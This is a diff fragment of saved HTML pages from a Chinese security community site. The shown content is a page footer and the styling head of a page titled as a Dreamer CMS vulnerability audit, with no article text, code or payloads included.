<a href="https://account.aliyun.com/login/login.htm?oauth_callback=https%3A%2F%2Fxz.aliyun.com%2Ft%2F13662&from_type=xianzhi"><strong>登录</strong></a> 后跟帖
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<footer class=bs-docs-footer>
|
||||
<div class="container text-center">
|
||||
<div class=links>
|
||||
<a href=https://xz.aliyun.com/feed target=_blank>RSS</a>
|
||||
<a href=https://xz.aliyun.com/about target=_blank><span>关于社区</span></a>
|
||||
<a href=https://xz.aliyun.com/partner target=_blank><span>友情链接</span></a>
|
||||
<a href=https://xz.aliyun.com/notice>社区小黑板</a>
|
||||
<a href=https://xz.aliyun.com/connection>联系我们</a>
|
||||
<a href=https://report.aliyun.com/ target=_blank>举报中心</a>
|
||||
<a href=https://www.aliyun.com/complaint target=_blank>我要投诉</a>
|
||||
</div>
|
||||
</div>
|
||||
</footer>
|
||||
|
||||
|
||||
|
||||
<div id=waf_nc_block style=display:none></div>
|
||||
@@ -0,0 +1,316 @@
|
||||
<!DOCTYPE html> <html lang=en style><!--
|
||||
Page saved with SingleFile
|
||||
url: https://xz.aliyun.com/t/13628
|
||||
--><meta charset=utf-8>
|
||||
<title>快速审计记录(四)--某管理系统(梦想家内容管理系统(Dreamer CMS)SQL注入+越权+未授权+XSS+Shiro漏洞)</title>
|
||||
<meta name=description content=先知社区,先知安全技术社区>
|
||||
<meta name=viewport content="width=device-width,initial-scale=1.0,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no">
|
||||
<style>/*!
|
||||
* Bootstrap v2.3.1
|
||||
*
|
||||
* Copyright 2012 Twitter, Inc
|
||||
* Licensed under the Apache License v2.0
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Designed and built with all the love in the world @twitter by @mdo and @fat.
|
||||
*/.clearfix:before,.clearfix:after{display:table;line-height:0;content:""}.clearfix:after{clear:both}footer{display:block}html{font-size:100%;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}a:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}a:hover,a:active{outline:0}img{height:auto;vertical-align:middle;border:0;-ms-interpolation-mode:bicubic}input{margin:0}button{-webkit-appearance:button}body{margin:0;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;line-height:20px;color:#333}a{text-decoration:none}a:hover,a:focus{color:#005580;text-decoration:underline}.row:before,.row:after{display:table;line-height:0;content:""}.row:after{clear:both}.container{width:940px}.span10{width:780px}.container{margin-right:auto;margin-left:auto}.container:before,.container:after{display:table;line-height:0;content:""}.container:after{clear:both}p{margin:0 0 10px}strong{font-weight:bold}.text-right{text-align:right}.text-center{text-align:center}h1,h4{margin:10px 0;font-family:inherit;font-weight:bold;line-height:20px;color:inherit;text-rendering:optimizelegibility}h4{font-size:17.5px}ul{padding:0}hr{margin:20px 0;border:0;border-top:1px solid #eee;border-bottom:1px solid #fff}blockquote p{font-size:17.5px;font-weight:300;line-height:1.25}q:before,q:after,blockquote:before,blockquote:after{content:""}code,pre{color:#333;-webkit-border-radius:3px;-moz-border-radius:3px}code{color:#d14}pre{display:block;margin:0 0 10px;white-space:pre-wrap;border:1px solid rgba(0,0,0,0.15);-webkit-border-radius:4px;-moz-border-radius:4px}input{font-weight:normal}input{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif}input[type="text"]{display:inline-block;padding:4px 6px;margin-bottom:10px;font-size:14px;line-height:20px;vertical-align:middle;-webkit-border-radius:4px;-moz-border-radius:4px}input{width:206px}input[type="text"]{background-color:#fff;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-webkit-transition:border linear .2s,box-shadow linear .2s;-moz-transition:border linear .2s,box-shadow linear .2s;-o-transition:border linear .2s,box-shadow linear .2s;transition:border linear .2s,box-shadow linear .2s}textarea:focus,input[type="text"]:focus,input[type="password"]:focus,input[type="datetime"]:focus,input[type="datetime-local"]:focus,input[type="date"]:focus,input[type="month"]:focus,input[type="time"]:focus,input[type="week"]:focus,input[type="number"]:focus,input[type="email"]:focus,input[type="url"]:focus,input[type="search"]:focus,input[type="tel"]:focus,input[type="color"]:focus,.uneditable-input:focus{border-color:rgba(82,168,236,0.8);outline:0;outline:thin dotted \9;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6)}input::-webkit-input-placeholder,textarea::-webkit-input-placeholder{color:#999}input{margin-left:0}input:focus:invalid,textarea:focus:invalid,select:focus:invalid{color:#b94a48;border-color:#ee5f5b}input:focus:invalid:focus,textarea:focus:invalid:focus,select:focus:invalid:focus{border-color:#e9322d;-webkit-box-shadow:0 0 6px #f8b9b7;-moz-box-shadow:0 0 6px #f8b9b7;box-shadow:0 0 6px #f8b9b7}.fade{opacity:0;-webkit-transition:opacity .15s linear;-moz-transition:opacity .15s linear;-o-transition:opacity .15s linear}.collapse{position:relative;-webkit-transition:height .35s ease;-moz-transition:height .35s ease;-o-transition:height .35s ease;transition:height .35s ease}.btn{text-shadow:0 1px 1px rgba(255,255,255,0.75);vertical-align:middle;background-image:-moz-linear-gradient(top,#fff,#e6e6e6);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#e6e6e6));background-image:-webkit-linear-gradient(top,#fff,#e6e6e6);background-image:-o-linear-gradient(top,#fff,#e6e6e6);background-repeat:repeat-x;border:1px solid #ccc;border-bottom-color:#b3b3b3;-webkit-border-radius:4px;-moz-border-radius:4px;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);-moz-box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05)}.btn:hover,.btn:focus,.btn:active,.btn.active,.btn.disabled,.btn[disabled]{color:#333;background-color:#e6e6e6;*background-color:#d9d9d9}.btn:active,.btn.active{background-color:#ccc \9}.btn:first-child{*margin-left:0}.btn:hover,.btn:focus{color:#333;text-decoration:none;background-position:0-15px;-webkit-transition:background-position .1s linear;-moz-transition:background-position .1s linear;-o-transition:background-position .1s linear;transition:background-position .1s linear}.btn:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.btn.active,.btn:active{background-image:none;outline:0;Line truncated
|
||||
<style>/*! Editor.md v1.5.0 | editormd.min.css | Open source online markdown editor. | MIT License | By: Pandao | https://github.com/pandao/editor.md | 2015-06-09 *//*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 */@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-device-pixel-ratio:2){}@media only screen and (-webkit-min-device-pixel-ratio:3),only screen and (min-device-pixel-ratio:3){}/*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 *//*!
|
||||
* Font Awesome 4.3.0 by @davegandy - http://fontawesome.io - @fontawesome
|
||||
* License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
|
||||
*/@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}/*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 *//*! github-markdown-css | The MIT License (MIT) | Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com) | https://github.com/sindresorhus/github-markdown-css */.markdown-body{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;overflow:hidden}.markdown-body *{-moz-box-sizing:border-box}.markdown-body a:active,.markdown-body a:hover{outline:0;text-decoration:underline}.markdown-body>:first-child{margin-top:0 !important}.markdown-body>:last-child{margin-bottom:0 !important}.markdown-body blockquote>:first-child{margin-top:0}.markdown-body blockquote>:last-child{margin-bottom:0}.markdown-body img{-moz-box-sizing:border-box}.markdown-body code:after,.markdown-body code:before{letter-spacing:-.2em;content:" "}/*! Pretty printing styles. Used with prettify.js. */@media screen{}@media screen{}</style>
|
||||
<style>/*!
|
||||
* Bootstrap Responsive v2.3.1
|
||||
*
|
||||
* Copyright 2012 Twitter, Inc
|
||||
* Licensed under the Apache License v2.0
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Designed and built with all the love in the world @twitter by @mdo and @fat.
|
||||
*/.clearfix:before,.clearfix:after{display:table;line-height:0;content:""}.clearfix:after{clear:both}@-ms-viewport{width:device-width}@media(min-width:768px) and (max-width:979px){}@media(max-width:767px){}@media(min-width:1200px){.row{margin-left:-30px}.row:before,.row:after{display:table;line-height:0;content:""}.row:after{clear:both}[class*="span"]{float:left;min-height:1px;margin-left:30px}.container{width:1170px}.span10{width:970px}input{margin-left:0}}@media(min-width:768px) and (max-width:979px){.row{margin-left:-20px}.row:before,.row:after{display:table;line-height:0;content:""}.row:after{clear:both}[class*="span"]{float:left;min-height:1px;margin-left:20px}.container{width:724px}.span10{width:600px}input{margin-left:0}}@media(max-width:767px){body{padding-right:0px;padding-left:0px}.container{width:auto}.row{margin-left:0}[class*="span"]{display:block;float:none;width:100%;margin-left:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.modal{position:fixed;right:20px;left:20px;width:auto;margin:0}.modal.fade{top:-100px}}@media(max-width:480px){.nav-collapse{-webkit-transform:translate3d(0,0,0)}.modal{top:10px;right:10px;left:10px}}@media(max-width:979px){body{padding-top:0}.navbar .container{width:auto;padding:0}.navbar .brand{padding-right:10px;padding-left:10px}.nav-collapse{clear:both}.nav-collapse.collapse{height:0;overflow:hidden}}@media(min-width:980px){.nav-collapse.collapse{height:auto !important;overflow:visible !important}}</style>
|
||||
<style>li{line-height:26px}a:hover{text-decoration:none}.post-user-action>span{margin-right:10px;line-height:21px;border:0}.post-user-action .i-seprator{color:rgba(0,0,0,0.1);margin:0 2px}.navbar .brand{padding:0;height:50px;margin-left:0;display:inline-block !important;background-repeat:no-repeat;width:120px;background-size:207px 50px;background-image:url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4KPCEtLSBHZW5lcmF0b3I6IEFkb2JlIElsbHVzdHJhdG9yIDIxLjEuMCwgU1ZHIEV4cG9ydCBQbHVnLUluIC4gU1ZHIFZlcnNpb246IDYuMDAgQnVpbGQgMCkgIC0tPgo8c3ZnIHZlcnNpb249IjEuMSIgaWQ9IuWbvuWxgl8xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB4PSIwcHgiIHk9IjBweCIKCSB2aWV3Qm94PSIwIDAgODAwLjQgMTMwLjQiIHN0eWxlPSJlbmFibGUtYmFja2dyb3VuZDpuZXcgMCAwIDgwMC40IDEzMC40OyIgeG1sOnNwYWNlPSJwcmVzZXJ2ZSI+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Cgkuc3Qwe2ZpbGw6IzM3M0Q0MTt9Cjwvc3R5bGU+Cjx0aXRsZT7lhYjnn6XmioDmnK/npL7ljLo8L3RpdGxlPgo8Zz4KCTxwb2x5Z29uIGNsYXNzPSJzdDAiIHBvaW50cz0iMCwxMjEuNCAwLDI3LjMgNTYuMywyNy4zIAkiLz4KCTxwb2x5Z29uIGNsYXNzPSJzdDAiIHBvaW50cz0iODkuOSw4LjQgODkuOSwxMDIuNSAzMy41LDEwMi41IAkiLz4KPC9nPgo8cGF0aCBjbGFzcz0ic3QwIiBkPSJNMTMwLjcsNTguNGMtMi4zLTEuNC00LjctMi45LTcuMi00LjVjNi02LjksMTAuNy0xNi4yLDE0LjEtMjcuOWw4LjMsMS43Yy0wLjcsMS42LTEuNiwzLjktMi44LDYuOQoJYy0wLjcsMi4zLTEuMywzLjktMS43LDQuOGgxNy41VjI0aDguM3YxNS41aDI5LjZWNDdoLTI5LjZ2MTUuMWgzNC43VjcwaC0yNi41djIxLjNjLTAuMiwzLjQsMS42LDUsNS41LDQuOGg3LjIKCWMzLjIsMC4yLDUuMy0xLjMsNi4yLTQuNWMwLjItMS40LDAuNS00LjEsMC43LTguM2MwLDAuNywwLjEtMC4xLDAuMy0yLjRsNy42LDIuOGMtMC4yLDQuMS0wLjcsNy45LTEuNCwxMS40CgljLTEuNiw2LTUuOCw4LjgtMTIuNyw4LjZoLTEwLjdjLTcuNiwwLjItMTEuMi0zLjItMTEtMTAuM1Y3MC4xaC0xNS44djMuMWMwLDE1LjQtOS4xLDI2LjQtMjcuMiwzM2MtMS40LTIuMS0zLTQuNi00LjgtNy42CglDMTM1LjEsOTQsMTQzLDg1LjQsMTQzLDcyLjhWNzBoLTIyLjd2LTcuOWgzOC41VjQ3aC0yMS4zQzEzNS41LDUxLjEsMTMzLjIsNTQuOSwxMzAuNyw1OC40eiIvPgo8cGF0aCBjbGFzcz0ic3QwIiBkPSJNMjEzLjIsNTQuNmMtMC41LTAuMi0xLjItMC43LTIuMS0xLjRjLTEuOC0xLjQtMy4yLTIuMy00LjEtMi44YzQuOC04LjksOC4xLTE3LjksMTAtMjYuOGw3LjYsMS40CgljLTAuNSwxLjgtMS4zLDQuNC0yLjQsNy42Yy0wLjIsMS4yLTAuNSwyLTAuNywyLjRoMjQuMXY3LjJoLTEyYzAsOC43LTAuMSwxNC45LTAuMywxOC42aDE0LjFWNjhoLTE0LjhjMCwyLjMtMC4yLDQuNS0wLjcsNi41CgljMS42LDEuNiwzLjgsNCw2LjUsNy4yYzQuNiw0LjgsOCw4LjYsMTAuMywxMS40bC01LjgsNS4yYy0wLjktMS4yLTIuMy0yLjgtNC4xLTQuOGMtMS44LTIuMy00LjgtNS44LTguOS0xMC43CgljLTIuNSw3LjgtOC40LDE1LjUtMTcuNSwyMy4xYy0yLjMtMi44LTQuMS00LjgtNS41LTYuMmMxMS4yLTguOSwxNy4zLTE5LjUsMTguMi0zMS43aC0xNy4ydi03LjJoMTcuNWMwLjItMy45LDAuMy0xMC4xLDAuMy0xOC42CgloLTYuOUMyMTcuMSw0Ni4zLDIxNS4zLDUwLjQsMjEzLjIsNTQuNnogTTI1MS40LDEwMi43VjMxLjloMzUuOHY3MC41aC04LjN2LTcuNmgtMTkuNnY3LjlDMjU5LjMsMTAyLjcsMjUxLjQsMTAyLjcsMjUxLjQsMTAyLjd6CgkgTTI1OS4zLDM5LjR2NDcuOGgxOS42VjM5LjRIMjU5LjN6Ii8+CjxwYXRoIGNsYXNzPSJzdDAiIGQ9Ik0yOTcuMiw4MS4xYy0wLjItMC45LTAuNi0yLjMtMS00LjFjLTAuNy0xLjgtMS4yLTMuMi0xLjQtNC4xYzkuMi02LjIsMTYuNC0xNC4zLDIxLjctMjQuNGgtMTkuNnYtNi45aDI3LjV2Ny4yCgljLTIuNSw1LjUtNS40LDEwLjQtOC42LDE0Ljh2NDIuM2gtNy42VjcyLjFDMzA1LDc1LjEsMzAxLjQsNzguMSwyOTcuMiw4MS4xeiBNMzExLjcsNDAuNWMtMC4yLTAuNS0wLjYtMS4xLTEtMi4xCgljLTIuOC02LTQuNi05LjctNS41LTExLjRsNi45LTMuMWMwLjcsMS4yLDEuOCwzLjMsMy40LDYuNWMxLjYsMywyLjgsNS4yLDMuNCw2LjVMMzExLjcsNDAuNXogTTMyNi44LDgwLjcKCWMtMS42LTIuMS00LjctNS42LTkuMy0xMC43Yy0wLjItMC4yLTAuNS0wLjUtMC43LTAuN2w0LjgtNC41YzIuMSwxLjgsNC45LDQuNiw4LjYsOC4zYzEuMSwxLjIsMS45LDIsMi40LDIuNEwzMjYuOCw4MC43egoJIE0zMjguNSw1Ni42VjQ5aDE4LjZWMjQuM2g4LjN2MjQuOEgzNzV2Ny42aC0xOS42djM5LjJoMjIuNHY2LjloLTUzdi02LjloMjIuNFY1Ni42SDMyOC41eiIvPgo8cGF0aCBjbGFzcz0ic3QwIiBkPSJNMzg5LjgsMTAxLjRWMjkuMUg0NjJ2Ny42aC02NC4zdjU3LjhoNjUuN3Y2LjlIMzg5Ljh6IE00NTAuMyw5MC40Yy02LjItNi42LTEyLjYtMTMtMTkuMy0xOC45CgljLTYsNS43LTEzLjQsMTIuMy0yMi40LDE5LjZjLTEuNC0xLjYtMy40LTMuOC02LjItNi41YzguMy01LjcsMTUuOC0xMiwyMi43LTE4LjljLTYuOS02LjQtMTMuOC0xMi43LTIwLjYtMTguOWw2LjItNS4yTDQzMSw2MC4yCgljNS41LTYuMiwxMC45LTEyLjgsMTYuMi0yMGw3LjIsNC41Yy01LjcsNy42LTExLjYsMTQuNC0xNy41LDIwLjZjNi45LDYuNywxMy42LDEzLDIwLjMsMTguOUw0NTAuMyw5MC40eiIvPgo8L3N2Zz4K)}.brand-box{position:absolute}.related-section{min-height:42px;padding:5px 0;margin-top:25px;border-top:1px solid #eee}.related-section>.related-box{margin-top:17px}.related-section>.related-box>span{display:inline-block;padding:3px}.related-section>.related-box>span:nth-child(1){width:47%}.related-section>.related-box>span:nth-child(2){border-left:1px solid #eee;padding-left:8px;float:right;width:46%}.related-box .related-label{padding:3px 4px;margin-right:3px}@media screen{.navbar{margin-bottom:12px;overflow:visible}}@media screen and (min-width:1950px){}@media screen and (min-width:1660px) and (max-width:1945px){}@media screen and (min-width:1350px) and (max-width:1659px){}@media screen and (min-width:1100px) and (max-width:1349px){}@media only screen and (max-width:1100px){}@media only screen and (min-width:768px){}@media only screen and (max-width:736px){.brand{margin:0 auto}.brand-box{left:15px}}@media screen and (min-width:768px) and (max-width:1219px){}@media only screen and (min-width:320px) and (max-width:374px){}@media onlLine truncated
|
||||
<style>a{color:#778087}.topic-list p{margin:0}.topic-content{min-height:40px}.collapse form{position:relative;width:300px;float:right}div.search{padding:10px 0}.d1 input{height:20px;padding-left:18px;border:1px solid #ddd;border-radius:15px;outline:0;background:#fff;color:#9e9c9c;float:right}.vote{font-weight:normal;margin-left:6px}.topic-list{word-break:break-all;word-wrap:break-word}ul{margin:0 0 10px 0}/*!*border-bottom: solid #eee 1px;*!*/.user-info{padding:5px 0 5px 0}.topic-info a,.topic-info{padding-top:5px}.topic-info a:hover{text-decoration:solid}.reminder{min-height:200px;border:1px #ddd solid;border-radius:3px;line-height:200px;text-align:center}</style>
|
||||
<style>body{background-color:#eee}img{max-width:100%}form{margin:0 !important}a:focus{text-decoration:none}.markdown-body p>code{white-space:normal;word-break:break-all;border:none !important}.box ul,ol{margin-bottom:0px !important}.markdown-body ul{list-style-type:disc}.markdown-body ul,.markdown-body ol{margin:0 0 24px 0 !important}.box a:hover{text-decoration:none}.box-container>ul>li{list-style-type:none}#Wrapper .row.box{margin-left:0px}.navbar-inner{border-radius:0px;min-height:40px;padding-right:0px;padding-left:0px;outline:0;margin-bottom:0;list-style:none;z-index:1050;background:#fff;-webkit-box-shadow:0 1px 4px rgba(0,21,41,0.08);box-shadow:0 1px 4px rgba(0,21,41,0.08);line-height:46px;-webkit-transition:background .3s,width .2s;-o-transition:background .3s,width .2s;transition:background .3s,width .2s}.bs-docs-footer{text-align:left;color:#99979c;height:64px;background-color:#FFF;border-top:1px solid rgba(0,0,0,0.22);line-height:64px}.bs-docs-footer .links>a{display:inline-block;padding:0 12px;border-left:1px solid #e8e8e8;color:#8c8c8c;line-height:1}.bs-docs-footer .links>a:first-child{border-left:0}.box-container .user-info{margin-bottom:10px;background:#fff}.content-title{font-size:24px;color:#333;text-decoration:none;line-height:24px;text-shadow:0 1px 0#fff}.markdown-body h1{border-bottom:0}.box-container{padding:20px}.breadcrumb{padding:8px 10px 8px 15px;margin-bottom:10px;border-radius:0;color:#000;background-color:#fff}.breadcrumb>li{text-shadow:none !important;margin:2px 0px}.active{text-shadow:none !important}.breadcrumb .active{color:#555;display:inline-block;text-shadow:none !important}.label{background-color:#f4f4f4;line-height:12px;display:inline-block;padding:4px 4px 4px 4px;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;text-decoration:none;text-shadow:none;font-weight:normal}.topic-info{color:#999 !important;font-size:12px !important}.topic-info a{padding:0px;color:#555 !important;font-size:12px !important}.topic-info a:hover{color:#4d5256;text-decoration:underline}.topic-info .cell{padding-left:0 !important;margin-left:0px;font-size:10px;font-weight:bold}.markdown-body img{max-width:90% !important;text-align:center;margin-left:auto;margin-right:auto;display:block;padding:10px 0px 10px 0px}.topic-info span{margin-left:0px;font-size:10px;color:rgba(0,0,0,0.45)}.btn{display:inline-block;padding:4px 12px;margin-bottom:0;font-size:14px;line-height:20px;background-color:#f4f4f4;color:#444;border-color:#ddd;font-family:"Helvetica Neue For Number",-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"PingFang SC","Hiragino Sans GB","Microsoft YaHei","Helvetica Neue",Helvetica,Arial,sans-serif;-webkit-box-sizing:border-box;box-sizing:border-box;margin:0;list-style:none;font-weight:400;text-align:center;cursor:pointer;background-image:none;white-space:nowrap;border-radius:2px;height:32px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none}.box{font-family:Monospaced Number,Chinese Quote,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,PingFang SC,Hiragino Sans GB,Microsoft YaHei,Helvetica Neue,Helvetica,Arial,sans-serif;font-size:14px;line-height:1.5;color:rgba(0,0,0,0.65);-webkit-box-sizing:border-box;box-sizing:border-box;margin-top:0 !important;margin-bottom:20px;padding:0;list-style:none;background:#fff;border-radius:2px;position:relative;-webkit-transition:all .3s;-o-transition:all .3s;transition:all .3s;-moz-box-shadow:0 1px 1px rgba(0,0,0,0.15);-webkit-box-shadow:0 1px 1px rgba(143,168,191,.35);box-shadow:0 1px 1px rgba(143,168,191,.35);border-bottom:1px solid #e2e2e9}.span10{float:left;min-height:1px}#Wrapper .span10{margin-left:0px !important;max-width:960px}@media(min-width:1200px){.container{width:82% !important}}@media screen and (min-width:1500px){#Wrapper.container,.navbar .navbar-inner .container,.bs-docs-footer .container{max-width:1100px !important}#Wrapper .span10{max-width:810px !important}}@media screen and (min-width:980px) and (max-width:1499px){#Wrapper.container,.navbar .navbar-inner .container,.bs-docs-footer .container{max-width:1100px !important}#Wrapper .span10{max-width:74% !important}}@media screen and (min-width:768px) and (max-width:979px){#Wrapper.container,.navbar .navbar-inner .container,.bs-docs-footer .container{width:90% !important}#Wrapper .span10{width:77% !important}.nav-collapse{clear:none !important;height:auto !important;overflow:auto !important;float:right}}@media screen and (max-width:767px){#Wrapper.container,.navbar .navbar-inner .container,.bs-docs-footer .container{width:100% !important}.topic-info .info-left,.topic-info .info-right{display:block}.topic-info .info-right{margin-top:10px}.topic-info span{margin-left:0px}}@media screen and (max-width:419px){body{padding-left:0px !important;padding-right:0px !important}}.content-node{padding-left:5px}@media(max-width:979px){.content-node{display:none}.t-vote{display:none !important}}@media(max-width:376px){}@media(min-width:768px){}@media(min-width:992px){}@meLine truncated
|
||||
<style>/*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 */@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-device-pixel-ratio:2){}@media only screen and (-webkit-min-device-pixel-ratio:3),only screen and (min-device-pixel-ratio:3){}/*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 *//*!
|
||||
* Font Awesome 4.3.0 by @davegandy - http://fontawesome.io - @fontawesome
|
||||
* License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
|
||||
*/.pull-right{float:right}.pull-left{float:left}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}/*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 *//*! github-markdown-css | The MIT License (MIT) | Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com) | https://github.com/sindresorhus/github-markdown-css */.markdown-body{color:#333;font-family:Monospaced Number,Chinese Quote,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,PingFang SC,Hiragino Sans GB,Microsoft YaHei,Helvetica Neue,Helvetica,Arial,sans-serif;font-size:15px;line-height:24px;letter-spacing:.05em;word-wrap:break-word}.markdown-body a{background:transparent}.markdown-body a:active,.markdown-body a:hover{outline:0}.markdown-body h1{margin:.67em 0}.markdown-body img{border:0}.markdown-body pre{font-family:"Meiryo UI","YaHei Consolas Hybrid",Consolas,"Malgun Gothic","Segoe UI","Trebuchet MS",Helvetica,monospace,monospace}.markdown-body *{-moz-box-sizing:border-box;box-sizing:border-box}.markdown-body a{color:#4183c4;text-decoration:none}.markdown-body a:hover,.markdown-body a:active{text-decoration:underline}.markdown-body blockquote{margin:0}.markdown-body ul,.markdown-body ol{padding:0}.markdown-body code{font-family:Consolas,"Liberation Mono",Menlo,Courier,monospace}.markdown-body pre{font:12px Consolas,"Liberation Mono",Menlo,Courier,monospace}.markdown-body>*:first-child{margin-top:0 !important}.markdown-body>*:last-child{margin-bottom:0 !important}.markdown-body h1{position:relative;margin-top:1em;margin-bottom:16px;font-weight:bold}.markdown-body h1{padding-bottom:0em;font-size:28px;line-height:1.2}.markdown-body p,.markdown-body blockquote,.markdown-body ul,.markdown-body ol,.markdown-body pre{margin-top:0;margin-bottom:24px}.markdown-body ul,.markdown-body ol{padding-left:2em}.markdown-body blockquote{padding:0 15px;color:#777;border-left:4px solid #ddd}.markdown-body blockquote>:first-child{margin-top:0}.markdown-body blockquote>:last-child{margin-bottom:0}.markdown-body img{max-width:100%;-moz-box-sizing:border-box;box-sizing:border-box}.markdown-body code{padding:0;padding-top:.2em;padding-bottom:.2em;margin:0;font-size:85%;background-color:rgba(0,0,0,0.04);border-radius:3px}.markdown-body code:before,.markdown-body code:after{letter-spacing:-0.2em;content:" "}.markdown-body .highlight{margin-bottom:16px}.markdown-body .highlight pre{padding:16px;overflow:auto;font-size:85%;background-color:#f7f7f7;border-radius:3px}.markdown-body .highlight pre{margin-bottom:0;word-break:normal}.markdown-body pre{word-wrap:normal}/*! Pretty printing styles. Used with prettify.js. */@media screen{}.markdown-body .highlight pre{line-height:1.6}@media screen{}</style>
|
||||
<style>@-webkit-keyframes a{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes a{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@media(max-width:800px){}</style>
|
||||
<!--[if lte IE 8]>
|
||||
<script src="http://code.jquery.com/jquery-1.11.3.min.js"></script>
|
||||
<![endif]-->
|
||||
<!--[if !IE]> -->
|
||||
<style>#waf_nc_block{position:fixed;width:100%;height:100%;top:0;bottom:0;left:0;z-index:99999}</style><style>@media(pointer:coarse){@media only screen and (max-device-width:1024px){}@media only screen and (max-device-width:414px){}@media only screen and (max-device-width:320px){}}</style><style>@media screen and (max-width:768px){}</style><style>/*!
|
||||
* Waves v0.7.5
|
||||
* http://fian.my.id/Waves
|
||||
*
|
||||
* Copyright 2014-2016 Alfiana E. Sibuea and other contributors
|
||||
* Released under the MIT license
|
||||
* https://github.com/fians/Waves/blob/master/LICENSE
|
||||
*/</style><style>@media(max-height:620px){}@media(max-height:783px){}@-webkit-keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}@keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}</style><style>@-webkit-keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@media(pointer:coarse){}</style><style>:root{--sr-annote-color-0:#b4d9fb;--sr-annote-color-1:#ffeb3b;--sr-annote-color-2:#a2e9f2;--sr-annote-color-3:#a1e0ff;--sr-annote-color-4:#a8ea68;--sr-annote-color-5:#ffb7da}</style><style>@-webkit-keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes 